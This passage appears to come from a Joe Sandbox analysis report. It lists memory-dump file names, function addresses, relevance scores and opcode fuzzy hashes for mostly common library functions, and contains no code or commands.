Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 519bd4c33ab20dc2f2f828904bf5f6a8591834761a52c12147f3fa33ea65938b
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 1EF13F71E006199FDF14CFA9C8846ADFBB1FF88314F258269E819AB345D731AE41CB90

Function 0050CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0050CF52,?,00000003,00000003,?,0050CF87,?,?,?,00000003,00000003,?,0050C4FD,004F2FB9,00000001), ref: 0050CC03

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 06e2671065b851d19d6102b8fe31090e13bc5f1cd58050f12de1d835b7b1076e
Instruction ID: 3715520f85e1f4879abe8d9aef55151efb29956f6bd30a6bffb1f30644459b42
Opcode Fuzzy Hash: 06e2671065b851d19d6102b8fe31090e13bc5f1cd58050f12de1d835b7b1076e
Instruction Fuzzy Hash: C9D0223A60613893CA052BC4EC088ADBF58FF06B653100211EE0D171A0CAA07C40AFE4

Function 00527F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 005280B2

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 8a8a94ffe6f2738a4fc6a71f73fc74b3bb42fe68b77446d0a7ab8a8db71754b0
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 40519F3060E67D5ADB38C6A8B99D7BE6F96BF57300F140519E442D72C1CD129D8DC252

Function 004F4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c2568071b87840fb499625bf56731998b93a108180e2beb0f8297cbcce7321
Instruction ID: d5efad26a8f1cf69681fd09880f627fb4645b9ae7739a9e4f69b38df9f3a655a
Opcode Fuzzy Hash: e8c2568071b87840fb499625bf56731998b93a108180e2beb0f8297cbcce7321
Instruction Fuzzy Hash: 952261B3F516145BDB0CCB5DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9159644

Function 00537049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7880bd0c388619deb9d6ec2687304a92ccaad6b2948ee114c7bfdd4243cb276
Instruction ID: d6139be8659ca1494fcb3ec929e016aafc7251b25f2b32655552fa5a96f3e3a4
Opcode Fuzzy Hash: f7880bd0c388619deb9d6ec2687304a92ccaad6b2948ee114c7bfdd4243cb276
Instruction Fuzzy Hash: 3DB14C76A146099FD728CF28C486B657FE0FF49364F258658F899CF2A1C335E991CB40

Function 004F4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fea81670460508dbe807749f23ddd303995fcde3cf629698a05396ada81960
Instruction ID: eee307f2342cdd9f58bc2ccad0c7dce35bc1d271b8c583978e9e2c2e5794c63f
Opcode Fuzzy Hash: 57fea81670460508dbe807749f23ddd303995fcde3cf629698a05396ada81960
Instruction Fuzzy Hash: FD812371E042498FEB05CF68D8907BFBBF1BB9A300F15026ADA5097393CB389945C7A4

Function 005378BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
